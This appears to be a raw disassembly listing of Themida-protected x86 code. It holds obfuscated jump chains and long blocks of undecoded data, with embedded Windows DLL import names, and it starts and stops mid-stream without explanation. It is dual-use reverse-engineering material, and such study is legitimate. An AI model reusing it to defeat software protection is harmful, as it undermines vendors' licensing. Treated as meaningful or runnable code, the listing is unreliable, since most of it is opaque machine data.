ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], bx jmp loc_59D256 ; --------------------------------------------------------------------------- dw 0D329h dd 8324148Bh, 34FF04C4h, 6E95F24h db 5Bh, 2 dup(0FFh) byte_5A2187 db 66h ; DATA XREF: Themida_:0058E0C0o dd 6824048Bh, 6E88h, 56240489h, 1570E954h, 5C01FFFFh, 8B5B0424h dd 0C481243Ch, 4, 8075E951h, 0F281FFFFh, 0F3EBDEF8h, 0E95AD121h dd 0FFFF6EEBh, 5301C680h, 0FFDDD1E9h, 0E5CAB9FFh, 0E98182C4h dd 659F596Ah, 2F8E981h, 0E90176C9h, 2F8C181h, 0C18176C9h dd 659F596Ah, 0FF1A4BE9h, 13EB81FFh, 29DEF2EEh, 89E95BD9h dd 68FFFF66h, 52DAh, 0BB241C89h, 57FFF637h, 70BEE957h dd 1C8BFFFFh, 4C48324h, 0E92434FFh, 0FFFF8DBBh dword_5A2218 dd 24048B66h, 0C9468h, 243C8900h, 5404EC83h, 0FFDB93E9h ; DATA XREF: Themida_:0058E268o dd 0E5D15EFFh, 8102EDC1h, 0B3FFA4C5h, 0E9EB89FFh, 0FFFF27C0h dd 4806E0C1h, 5506E0C1h, 282BBE56h, 0DAE918F0h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2253: ; CODE XREF: Themida_:0059B049j mov ecx, 1DDB3106h add dword ptr [esp+8], 1FE86CE9h sub [esp+8], ecx jmp loc_58ECF8 ; --------------------------------------------------------------------------- loc_5A2269: ; CODE XREF: Themida_:00592A38j add eax, ecx add eax, 1AF1184Ch jmp loc_597DE3 ; --------------------------------------------------------------------------- db 5Eh, 51h, 89h dd 4C181E1h, 56000000h, 4BEh, 5EF12900h, 8B240C87h, 34892424h dd 2CCABE24h, 20E919FEh, 1FFFF2Fh, 240C8BCAh, 0E904C483h dd 0FFFEF2DBh, 0FFD80158h, 815B2434h, 4C4h, 68515200h dd 1767419Dh, 0E9505359h, 0FFFF9003h ; --------------------------------------------------------------------------- loc_5A22C4: ; CODE XREF: Themida_:0059CEF5j add al, 0EBh jmp loc_597643 ; --------------------------------------------------------------------------- db 81h dd 6616FFE6h, 35C68147h, 8932F800h, 0FA015EF7h, 33EA815Fh dd 2918F27Ch, 33C281FAh, 8118F27Ch, 0F816D4EAh, 52BBE979h dd 148BFFFFh, 4C48124h, 0E9000000h, 0FFFF6696h, 815EF229h dd 0BE212FEDh, 81D50171h, 0BE212FC5h, 2434FF71h, 0FF67B0E9h dd 4E951FFh, 0BBFFFEDFh, 5173488Fh, 8106EBC1h, 7418FE3h dd 0E9D3F776h, 0FFFFEA17h, 0F381DBF7h, 229C3AC7h, 6798BE56h dd 0E6C143C8h, 41CE8705h, 0BD55CE87h, 64331076h, 0FFA184E9h dd 24148BFFh, 4C481h, 83530000h, 148904ECh, 8866B224h dd 9E95AD3h, 89FFFFBAh, 4BE2434h, 1000000h, 22D3E9F7h dd 6850FFFFh, 677Ch, 50241C89h, 0FF2357E9h, 32C80DFFh dd 24355DB6h, 29A0414Dh, 24048BC5h, 53DE9h, 0BCE28100h dd 0C119C825h, 0F28102E2h, 351FC7C1h, 0B69BE56h, 0F5016F03h dd 8324348Bh, 0C58104C4h, 2D55248Fh, 0ED81D501h, 2D55248Fh dd 0B69ED81h, 0F3E96F03h, 5EFFFED5h, 1C4EEF81h, 0EF014362h dd 1C4EC781h, 875D4362h, 90E9243Ch, 5EFFFF03h, 8904EC83h dd 6856243Ch, 1966h, 56242C89h, 0F86B4ABEh, 6B4EBD0Ch dd 0E7E90CF8h, 28FFFFC6h, 0FF752CF0h, 515A2434h, 91B68h dd 0E2895200h, 4C281h, 0EA810000h, 4, 5C241487h, 24048F54h dd 0FFAA0BE9h, 8BD029FFh, 0C4832414h, 14EAE904h, 0DFF7FFFFh dd 5B4EB951h, 0C1810D28h, 0E2A854C9h, 0FED4B8E9h, 338D68FFh dd 5DE90000h, 52FFFFBDh, 0FF70E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A246D: ; CODE XREF: Themida_:0059B1C3j add ecx, 2A5537A4h pop ebx jmp loc_59521B ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 89000000h, 33E95FFDh, 89FFFFEFh, 4BA52E6h, 1000000h dd 0C6815AD6h, 4, 8B243487h, 0C4812424h, 4, 81E68956h dd 4C6h, 4EE8100h, 0E9000000h, 0FFFEF3D6h, 4C181h, 0E9830000h dd 240C8704h, 242C895Ch, 0E0207BBDh, 8BEE0111h, 0C481242Ch dd 4, 0E924148Bh, 0FFFFA57Fh, 0E924048Fh, 0FFFFC3D8h ; --------------------------------------------------------------------------- loc_5A24E8: ; CODE XREF: Themida_:005997C0j push edx jmp loc_591DE1 ; --------------------------------------------------------------------------- loc_5A24EE: ; CODE XREF: Themida_:005955F2j mov bh, 33h mov dl, bh push dword ptr [esp] jmp loc_5A2EE7 ; --------------------------------------------------------------------------- loc_5A24FA: ; CODE XREF: Themida_:0059F715j mov esp, [esp] cmp cl, al pushf jmp loc_58EE1D ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 3 dd 2878CD81h, 0BE5637B2h, 2F657FAFh, 0E95EF509h, 0FFFF4233h dd 8B241487h, 0EC832424h, 24348904h, 0FEF294E9h, 0EA8059FFh dd 5AD02852h, 0AE04F800h, 0FF3E6EE9h, 20A805FFh, 0E80110E2h dd 0E220A82Dh, 6BE95D10h, 3100000Dh, 14332414h, 24248B24h dd 24048966h, 0FEBDF2E9h, 0ED815CFFh, 64E3B6D4h, 7AF0C281h dd 0EA0164BAh, 0FF140CE9h, 539FBEFFh, 0F129AFE5h, 59C8015Eh dd 0E956C801h, 0FFFFB4D6h, 5AD7015Bh, 6C4F68h, 0CB22E900h dd 0C483FFFFh, 5C04E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A259E: ; CODE XREF: Themida_:00596900j xor ebp, [esp] pop esp jmp loc_59E7C2 ; --------------------------------------------------------------------------- db 81h dd 0EFB0AAF6h, 8BF001DBh, 27E92434h, 29FFFF56h, 3E872DD0h dd 148B0EE2h, 0E3EE924h, 0D828FFFFh, 0E9EAB151h, 0FFFF0400h ; --------------------------------------------------------------------------- loc_5A25D0: ; CODE XREF: Themida_:00599D08j not dword ptr [esp] pop edi jmp loc_598143 ; --------------------------------------------------------------------------- db 80h, 0F4h, 0E8h dd 8658E508h, 0E9DAF6D5h, 0FFFF2B18h, 0EE81D6F7h, 0FA1E1B8Fh dd 0FF7BA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A25F5: ; CODE XREF: Themida_:00597688j sub al, dl sub al, 15h mov edx, [esp] add esp, 4 sub al, bl push edx mov dl, 0BFh shr dl, 8 sub dl, 5Ah add al, dl pop edx sub al, 6Ah push ecx sub esp, 4 jmp loc_5992E6 ; --------------------------------------------------------------------------- a1YhU db '1ÈYh',0Bh,'U',0 align 2 aI4IH8 db '‰4$‰ÆhÉ8',0 align 10h dd 0E9243489h, 0FFFF7F70h, 2660055Fh, 4BE91ACDh, 83FFFF00h dd 0F756FFEEh, 555E2414h, 0B511ABDh, 0CFCDE93Eh, 87B3FFFFh dd 0E959EB30h, 0FFFF3E62h, 24048966h, 0FEBCEAE9h, 241C87FFh dd 0FFB966E9h, 0E9D7F7FFh, 0FFFFEF11h, 8F04C483h, 248B2404h dd 0C85BE924h, 6859FFFEh, 63BBh, 89241C89h, 0BB850E3h dd 407DB343h, 0FF9E6DE9h, 0E95066FFh, 0FFFF6A93h, 56243C89h dd 11779F68h, 5146E95Fh, 1C8BFFFFh, 35BE924h, 0C2810000h dd 4, 4EC8156h, 89000000h, 0E589242Ch, 4C581h, 0BAE90000h dd 81FFFED3h, 0F3D08C6h, 0AFE95B4Eh, 89FFFFBBh, 825AE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A26EA: ; CODE XREF: Themida_:0059CC07j push ecx mov ecx, esp add ecx, 4 jmp loc_59FEEA ; --------------------------------------------------------------------------- dword_5A26F8 dd 24048B66h, 4EC81h, 1C890000h, 4EC8124h, 89000000h, 0EC832424h ; DATA XREF: Themida_:0058E1A8o dd 240C8904h, 468h, 4C015900h, 95E90424h, 89FFFED1h, 8BE989DDh dd 40E9242Ch, 81FFFFBDh, 4C22F0C1h, 45C18149h, 81581C66h dd 1F66D8C5h, 81CD010Ch, 1F66D8EDh, 835E590Ch, 814DFFC5h dd 5121F1F5h, 85DBE96Fh, 1489FFFFh, 4EC8324h, 81242489h dd 42404h, 148B0000h, 26766824h, 3C890000h, 50E78924h dd 0B31AD0B8h, 0E662E93Bh, 0D0F7FFFFh, 5F45B951h, 0C8296423h dd 58C60159h, 6D8EBF57h, 0DFF75FE5h, 0C44C781h, 0EF814F61h dd 0EF7B9EB2h, 875FFE01h, 555C2434h, 0FF2294E9h, 87D7F7FFh dd 0BD5556FDh, 7FA6577Bh, 1C32E950h, 1433FFFFh, 24143124h dd 5C241433h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 248B2414h dd 240C8924h, 7E95456h, 54FFFED8h, 0EC81525Eh, 4, 0E9241C89h dd 0FFFF427Bh ; --------------------------------------------------------------------------- loc_5A27FC: ; CODE XREF: Themida_:0058FDBFj add edx, edi pop edi add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5949D1 ; --------------------------------------------------------------------------- db 81h, 0F7h, 0D8h dd 2950CB18h, 243C8BF8h, 5004C483h, 8B30428Fh, 0F5E92404h dd 81FFFEC3h, 4C4h, 11386800h, 0ADE90000h db 0BDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A2837: ; CODE XREF: Themida_:0059C172j sub dword ptr [esp], 6F737378h pop ecx add ecx, 6F737378h push edi mov edi, ecx mov esi, edi pop edi pop ecx mov ebx, [esp] jmp loc_59DE22 ; --------------------------------------------------------------------------- loc_5A2854: ; CODE XREF: Themida_:00593910j mov [esp], ebx push esp pop ebx jmp loc_59ECCB ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 0D0F7D0F7h, 32E6BE56h, 24E97F2Bh, 0BEFFFF1Ch dd 4C885FE1h, 0A023C681h, 0F001B377h, 0BCE9575Eh, 0F6FFFEBCh dd 5AC280DAh, 0E95AD388h, 0FFFFA8F5h, 0A06488BBh, 8C5DBE2Eh dd 0C6814ED2h, 2C285B1Ah, 0EE81DE01h, 2C285B1Ah, 1952685Bh dd 0C890000h, 868B924h, 0EE8121DCh, 406515A0h, 0C681CE29h dd 406515A0h, 0C4C2E959h, 80E9FFFFh, 83FFFEBAh, 1C8704EBh dd 4895C24h, 0D868E924h, 0C483FFFEh, 9BC58104h, 9EBFF73h dd 34FF1C6Fh, 242C8B24h, 4C481h, 0C4830000h, 753AE904h dd 2C8BFFFFh, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 4C5815Ch, 81000000h, 4C5h, 242C8700h, 0E289525Ch, 4C281h dd 11E90000h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2933: ; CODE XREF: Themida_:00595653j push ebx mov ebx, 2D5D6518h sub edi, ebx jmp loc_59A562 ; --------------------------------------------------------------------------- dd 685DE901h, 147Bh, 0BE243489h, 2, 0DB9DE957h, 0C481FFFFh dd 4, 8B241C87h, 0AA682424h, 8900002Ah, 0EC83240Ch, 2C01E904h dd 15EFFFFh, 81425DEAh, 0A13A97F2h, 0FCCA816Ch, 811E0779h dd 3F7BFAF2h, 8BD1015Eh, 54572414h, 4C7815Fh, 81000000h dd 4C7h, 243C8700h, 0FF20AEE9h db 0FFh byte_5A29A5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E2A4o dd 0F091E924h, 0CD68FFFFh, 0E9000024h, 0FFFF8BDAh, 3C8BFE01h dd 4C48324h, 0FF17FFE9h, 0BE5655FFh, 22BA5E16h, 0CE81D6F7h dd 2E97694Bh, 0EE81DEF7h, 321D2B15h, 0EB02F681h, 0E4E9CE0Ah dd 83FFFF9Dh, 6BE904EBh, 8BFFFF7Fh, 3DE92404h, 49FFFFF1h dd 7213F181h, 37E94C4Eh, 89FFFF77h, 4BE2434h, 1000000h dd 5E042474h, 0FEB93EE9h, 0E95453FFh, 0FFFFC57Fh, 4246C81h dd 26E52447h, 0EF77E952h, 0FD87FFFFh, 0FFFFEF81h, 0FD87FFFFh dd 4BE3F581h, 0EF011C8Fh, 0E9242C8Bh, 5ABh, 1CBC68h, 241C8900h dd 21CEBD55h, 3CE958BDh, 59FFFF6Ah, 0FFBD38E9h, 3AEB81FFh dd 5F70346Fh, 88E9C231h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2A6B: ; CODE XREF: Themida_:0059CBC6j push ebp push 61E3h mov [esp], eax mov eax, 6DC44FDAh mov ebp, eax mov eax, [esp] jmp loc_596FCF ; --------------------------------------------------------------------------- db 9 dd 0E192E9CBh, 0C0BDFFFFh, 0E904676Ah, 0FFFFD450h ; --------------------------------------------------------------------------- loc_5A2A94: ; CODE XREF: Themida_:00592887j mov [esp], ecx jmp loc_597BD1 ; --------------------------------------------------------------------------- loc_5A2A9C: ; CODE XREF: Themida_:0059CAD8j pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, esp push 25E2h mov [esp], ecx mov ecx, 4E590808h sub ecx, 1 jmp loc_598670 ; --------------------------------------------------------------------------- loc_5A2ABA: ; CODE XREF: Themida_:005A31CEj mov ebp, 37C0007Ah or ecx, ebp mov ebp, [esp] jmp loc_5908CC ; --------------------------------------------------------------------------- db 59h, 8Fh, 4 dd 4895C24h, 5C30E924h, 0ED81FFFFh, 63077D70h, 0CDFFC581h dd 0EE29524Bh, 5EF3295Dh, 5F45C181h, 0D9013A28h, 5F45E981h dd 34FF3A28h, 0C4815B24h, 4, 31240C33h, 0D1E9240Ch, 89FFFFAFh dd 0ACE9243Ch, 0BEFFFF19h, 4, 4247401h, 0FF81C4E9h, 2C8B54FFh dd 0E0895024h, 405h, 4C08300h, 5C240487h, 4146BE56h, 0FFE97E4Ah dd 0B8FFFF02h, 57591A19h, 31B72D48h, 0CDE966C9h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2B4F: ; CODE XREF: Themida_:00591627j pop ecx push dword ptr [esp] pop eax jmp loc_59FDD2 ; --------------------------------------------------------------------------- db 5Dh, 56h, 0BEh dd 639B1E05h, 4588F681h, 0E6C10126h, 48F68108h, 8131077Fh dd 835EA4CEh, 0E868517Dh, 59FDDFFEh, 0E959CE31h, 0FFFED84Eh dd 0FEB7CAE9h, 58C529FFh, 8190ED81h, 0E9296F08h, 73A0E95Dh dd 5159FFFFh, 4B9h, 4E9EE900h, 0EE01FFFFh, 2395E95Dh, 5066FFFFh dd 0E23007B4h, 0FF462FE9h, 0E7005AFFh, 0E9525158h, 0FFFF29A5h dd 0FDBA525Fh, 0E962B572h, 0FFFFCB58h, 2172BFBEh, 12B9517Ah dd 29735A18h, 0ED4AE9CEh, 0E951FFFFh, 0FFFF23B6h, 295FFA29h dd 0BA525AD6h, 13F84780h, 0FF4862E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2BF9: ; CODE XREF: Themida_:00591509j push 22E1h mov [esp], edx mov edx, 60292F25h jmp loc_5A0221 ; --------------------------------------------------------------------------- db 89h dd 68240Ch, 0E92BD84Dh, 0FFFECDC5h ; --------------------------------------------------------------------------- loc_5A2C18: ; CODE XREF: Themida_:00596D71j add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_5997EF ; --------------------------------------------------------------------------- db 58h dd 1EC568h, 240C8900h, 4B9h, 8BCA0100h, 0C481240Ch, 4 dd 31241433h, 14332414h, 24248B24h, 0FEC49CE9h, 0E38953FFh dd 4B850h, 0C3010000h, 4B95158h, 1000000h, 1C8759CBh, 24248B24h dd 0FFE139E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2C79: ; CODE XREF: Themida_:005A2D6Aj add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_59CA6A ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6A11E95Ch, 489FFFFh, 0A696824h, 24890000h, 24048324h dd 24048B04h, 5604C483h, 5E149BBEh, 0DEF74E3Ah, 11BCE81h dd 0C6E94031h, 59FFFEC1h, 5C241C87h, 1EBE9h, 0E9DF2900h dd 0FFFEDCC5h, 0BD242C89h, 6326BBh, 0FF3BADE9h, 0B3E95AFFh dd 89FFFFFEh, 73E9242Ch db 0BDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A2CEF: ; CODE XREF: Themida_:005976D4j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, ecx mov ecx, [esp] add esp, 4 jmp loc_597FED ; --------------------------------------------------------------------------- db 31h, 0F9h, 0E9h dd 0FFFF268Bh, 46E6D14Eh, 4B42EE81h, 0F68112F4h, 0A66FCBD6h dd 0FFC398E9h, 24248BFFh, 0C8BE0F66h, 0FFCFBAE9h, 0E9CD01FFh dd 0FFFEFEA3h, 7732E181h, 0D9F70988h, 0D6AE181h, 0D9F76373h dd 0D4CC181h, 0ADE96373h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2D67: ; CODE XREF: Themida_:005A0CA9j add ecx, eax pop eax jmp loc_5A2C79 ; --------------------------------------------------------------------------- db 31h dd 31DF31FBh, 87D7F7FBh, 5EBC1FBh, 0C1D6E956h, 1489FFFFh dd 0B8A5E924h, 6168FFFEh, 8900000Eh, 5A532414h, 0E9241C8Bh dd 0FFFEDDD4h, 0EA92D5Dh, 0E82945CEh, 0EF468h, 241C8900h dd 0FFD3A3E9h, 5EAC1FFh, 90EBEA81h, 0D029C1AAh, 8B088B5Ah dd 89512404h, 0D9C3E9E1h, 0FF2DFFFEh, 0E9FFFFFFh, 0FFFEF3CFh dd 20E9CD2Ch, 80FFFFEBh, 0F380A5E3h, 0E9DA086Fh, 0FFFF4198h ; --------------------------------------------------------------------------- loc_5A2DE8: ; CODE XREF: Themida_:0059A109j mov [esp], cx jmp loc_59E0B5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8B000000h, 89572404h, 0DFBD55E7h, 0C1592B66h, 0E95204EDh dd 0FFFEBEBAh ; --------------------------------------------------------------------------- loc_5A2E0C: ; CODE XREF: Themida_:00595859j mov ebp, 74046726h and edi, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_59CA13 ; --------------------------------------------------------------------------- dw 295Ah dd 0FE315EF7h, 5EF0315Fh, 0FF29F4E9h db 0FFh byte_5A2E39 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0058E104o dd 6658669Dh, 9C240419h, 0FEB50AE9h, 241C89FFh, 98B5E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2E52: ; CODE XREF: Themida_:0059063Fj mov ecx, ebp pop ebp add ebp, ecx pop ecx jmp loc_59A76F ; --------------------------------------------------------------------------- db 50h, 0B8h, 30h dd 1A670ECh, 0F82958C7h, 0FF106AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2E6D: ; CODE XREF: Themida_:0059BBA3j or ecx, 68C550A2h xor ecx, 68E02689h add ecx, 71501B82h and ecx, 2925247Fh sub ecx, 663A4567h push 4D27h mov [esp], edx jmp loc_59E749 ; --------------------------------------------------------------------------- loc_5A2E98: ; CODE XREF: Themida_:005A0228j mov ebx, [esp] add esp, 4 inc ebx add ebx, 20082222h jmp loc_59FCD4 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 0E9000000h, 0FFFF797Ah, 2404335Fh, 33240431h, 0A8E92404h dd 58FFFFB9h, 5AC0685Ah, 97E90000h, 89FFFF0Ch, 0E68956E3h dd 0FEE881E9h, 3DB305FFh, 0A7E92429h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2EE7: ; CODE XREF: Themida_:005A24F5j pop ebx push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_597500 ; --------------------------------------------------------------------------- db 81h dd 0E0B33BE9h, 59CA8929h, 4AC8F281h, 0D129793Eh, 0B6B8505Ah dd 2D41B611h, 0FFFFFFFFh, 0F704E8C1h, 32512DD8h, 0E8C163FEh dd 0DE782D04h, 0C131696Dh, 59CB0158h, 0FF623DE9h, 4C581FFh dd 56000000h, 4BEh, 5EF50100h, 8B242C87h, 89572424h, 76FBE9E7h dd 0E958FFFFh, 0FFFF5FE6h, 0E9242C89h, 0FFFFD6F7h, 0A7B1E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2F6A: ; CODE XREF: Themida_:0058E3C8j xor ebp, 6BFD68A9h xor ebp, 426C23A7h sub ebp, 0E6E54ECEh sub ebx, ebp pop ebp sub ebx, 0A5A3B514h mov esi, ebx jmp loc_58EDF4 ; --------------------------------------------------------------------------- dd 7A331E2Dh, 4ADCE942h, 0C00BFFFFh, 0FE840Fh, 0D968FFFFh dd 89000063h, 5157241Ch, 0C466A268h, 0E953591Eh, 0FFFEEB9Ah dd 0BBh, 88C38100h, 14E5E6Bh, 88EB81D3h, 684E5E6Bh, 46FBh dd 0FF325EE9h, 0E9CB29FFh, 0FFFFC3FCh, 405h, 4E88300h dd 8B240487h, 2C892424h, 3AE95624h, 57FFFEB4h, 0E3E9E789h dd 31FFFFDBh, 14F751C8h, 0C8315924h, 0FF5AA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3005: ; CODE XREF: Themida_:005A0827j not al or al, 0ACh jmp loc_58FF80 ; --------------------------------------------------------------------------- loc_5A300E: ; CODE XREF: Themida_:00597086j xor ecx, [esp] pop esp xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A3020: ; CODE XREF: Themida_:005A0211j push ecx push ebp mov ebp, 34BF5E9Dh mov ecx, 34BF5E99h xor ecx, ebp pop ebp sub eax, ecx jmp loc_59E50A ; --------------------------------------------------------------------------- dw 0AA68h dd 0E9000078h, 0FFFFE68Eh, 8B241433h, 0F662424h, 9C2404ABh dd 0FF1DA8E9h, 5BDD89FFh, 0A2BA5250h, 0B84F804Fh, 5E601F48h dd 55AD031h, 114260Dh, 392DD8F7h, 0E937373Bh, 0FFFF3FE4h dd 5EE9C4FEh, 66FFFFF5h, 0E933AF2Dh, 0FFFFCC42h dword_5A3084 dd 240C8B66h, 0FF03B5E9h, 875405FFh, 0C32981E7h, 30B85058h ; DATA XREF: Themida_:0058E2C0o dd 0F7541B3Ch, 0D874E9D8h, 0F681FFFEh, 0ADFC164h, 90E9F329h dd 81FFFFB2h, 775ADECFh, 7EB95106h, 490C150Bh, 3FEEC181h dd 0CF315906h, 81240C8Bh, 4C4h, 8AE94F00h, 5FFFFFDh, 4 dd 0FF76B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A30DD: ; CODE XREF: Themida_:005A1F25j push 1C1Fh mov [esp], edx jmp loc_59A9EC ; --------------------------------------------------------------------------- dw 0C281h dd 12D253E6h, 0FEC2CDE9h, 0F7595BFFh, 0ED99E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A30FE: ; CODE XREF: Themida_:00591FB8j pop esi pop esi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ax, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push ebx mov ebx, 20DE7F2Ch sub esp, 4 mov [esp], edi mov edi, 30520B11h xor ebx, edi mov edi, [esp] add esp, 4 jmp loc_59599F ; --------------------------------------------------------------------------- dd offset byte_402270+0EF8h align 4 dd 89242C89h, 565053E5h, 7A6F7ABEh, 0C56CE935h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A315A: ; CODE XREF: Themida_:005A0A61j add esi, 4 push 2BC6h mov [esp], ebp jmp loc_59483D ; --------------------------------------------------------------------------- db 55h, 0BDh, 7Fh dd 0E93FF350h, 0FFFFF3C5h ; --------------------------------------------------------------------------- loc_5A3178: ; CODE XREF: Themida_:00591D40j xchg eax, [esp] pop esp add ebp, 0ADD39CCh sub ebp, ecx sub ebp, 0ADD39CCh jmp loc_593672 ; --------------------------------------------------------------------------- db 8Bh dd 4082424h, 0DBE99C24h, 81FFFEE1h, 5F194DF7h, 0E9FA013Dh dd 0FFFF26F2h, 2404FF53h, 0F2BE565Bh, 0E90E5C43h, 0FFFF508Dh ; --------------------------------------------------------------------------- loc_5A31B8: ; CODE XREF: Themida_:005959ACj sub ebx, 643D3C8Ch shr ebx, 4 xor ebx, 8B364F7h push ecx mov ecx, 6F3C79A9h push ebp jmp loc_5A2ABA ; --------------------------------------------------------------------------- off_5A31D3 dd offset dword_49005C+1DB0Ch ; DATA XREF: Themida_:0058E2B8o align 4 dd 0E9243C89h, 0FFFF7F3Bh, 0EF80D7F6h, 4EC8398h, 0B2241489h dd 7EAC0D2h, 0E92BB551h, 0FFFFA97Ch, 3657F781h, 0F7817445h dd 0F0BB8180h, 835FF901h, 0C3304C1h, 240C3124h, 5C240C33h dd 8B24048Fh, 48F2424h, 24248B24h, 24148966h, 0FF9F3AE9h dd 285A66FFh, 240C8BE8h, 4C481h, 0F0000000h, 0FE82B353h dd 80C3FECBh, 0C380EBC3h, 0A19CE943h, 0C281FFFFh, 638D3216h dd 0BC69F281h, 0D701B9B3h, 0FDC3815Ah, 13A4E4Ch, 0FDEB81FBh dd 5F3A4E4Ch, 4B850h, 66E90000h, 81FFFEFAh, 636F1FC1h dd 65B85022h, 50124F58h, 8B2414F7h, 0C4832404h, 5E0C104h dd 0C372F705h, 0D061E999h, 248BFFFFh, 4C48124h, 50000000h dd 0C936B5B8h, 2E8C165h, 0B205D0F7h, 0E919724Dh, 0FFFF5F66h dd 0B099E95Ch, 30FFFFFEh, 52240C8Bh, 820FE954h, 5858FFFFh dd 3087E955h, 2BAFFFFh, 50000000h, 124184B8h, 0BF57406Ah dd 1CBA77B9h, 0F702E7C1h, 3402E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A32EA: ; CODE XREF: Themida_:00598C4Dj mov dh, 2Ch or cl, dh pop dx push bx mov bl, 10h add cl, 6 add cl, bl jmp loc_598FF6 ; --------------------------------------------------------------------------- dw 41E9h dd 0A6000000h, 555CF379h, 33524553h, 6C642E32h, 4441006Ch dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh dd 507D800h, 2000500h, 3A000F00h, 15000200h, 1, 2 dup(0) dd 976E9h, 9A236800h, 2FE90617h, 68FFFDE5h, 6179AB9h, 0FDE525E9h dd 9BF268FFh, 1BE90617h, 68FFFDE5h, 6179D6Bh, 0FDE511E9h dd 9DCF68FFh, 7E90617h, 68FFFDE5h, 6179EBFh, 0FDE4FDE9h dd 9F3268FFh, 0F3E90617h, 84FFFDE4h, 44DBBA2Ah, 93A075E5h dd 0FC33C232h, 0BA690C7Ch, 6E2DC838h, 9000823Dh, 59C92E05h dd 950567BCh, 60D03300h, 0A91C4295h, 16916B60h, 0B2B28A0Bh dd 0B8E89859h, 0FB3B1FA6h, 8042169Bh, 93F89CC5h, 614E5F16h dd 1072BF9Dh, 0F19976A0h, 7405A2D2h, 79A94DECh, 0D3BF7065h dd 0B007291Eh, 19C184DAh, 0E4C973CCh, 293E63E2h, 0ECBDF682h dd 62E1FBC3h, 0F682293Fh, 3264D431h, 38D2E35Dh, 0A4CC6CFEh dd 0E39009EDh, 91AD82D8h, 98C8B332h, 55D5C2F0h, 0F3DCB1E5h dd 0F52F1EBh, 0EEFC9CD3h, 0A272DDDh, 547D48A9h, 0B5FC9CD3h dd 9CD3CB0Eh, 3FE1B2FCh, 7FB4416Eh, 78F18CFCh, 67D1DD9Dh dd 7BCE54Dh, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh dd 0FA9B0B68h, 1B3E05C9h, 0E2169168h, 0C7241B21h, 347D5F57h dd 0A8F154B5h, 531086F2h, 137D6D42h, 982B3363h, 169E8B4Dh dd 74E4456Eh, 0F99D4D42h, 9F1D1628h, 6B42873Eh, 18291691h dd 0DBFC5E37h, 0E3DBB1CCh, 98E80A10h, 2B55E79h, 1282E72Ch dd 0D23F2B24h, 1F140272h, 54B5109Ch, 91FCA8F1h, 6D425316h dd 7956C626h, 0E0B125A4h, 3CB8BEB7h, 726h, 24F161DDh, 5B3AAA0Fh dd 1CF969C4h, 6431A107h, 1AFB6BCFh, 2F930E7Dh, 0E649D6BFh dd 34909F76h, 810231C4h, 8B538411h, 916891B8h, 0A19B5C16h dd 72E2624Fh, 0F2B0D96Ch, 6A3B1086h, 0C0309380h, 0EE5EDDD6h dd 8934C5A8h, 0A81E3DC0h, 64C397h, 24D70000h, 0EC4D66C7h dd 0E0453A7Ch, 1086F2B9h, 0B95C7344h, 0F297B673h, 6AC91086h dd 0F2173A09h, 0D4D61086h, 86F22871h, 0EDC2D310h, 0F8D747A6h dd 8200311Dh, 3F2B2412h, 6975A559h, 9C64BEDAh, 506E3F16h dd 6D71E163h, 808DD46Fh, 5F701693h, 0F153E0ABh, 249FBD81h dd 169380FDh, 51BBAF80h, 671F1h, 864FC500h, 3B9D7Ah, 0E736A74Fh dd 165EBFB5h, 63E05139h, 0D8D9C3F3h, 99FFEB5Bh, 0D801C4E5h dd 16108698h, 0B17A2696h, 2E6106FAh, 0C5EAC577h, 0B58A4AF9h dd 5A6B169Bh, 7B0764BBh, 0B18E88F8h, 4697C09Eh, 0D3CAE50Ch dd 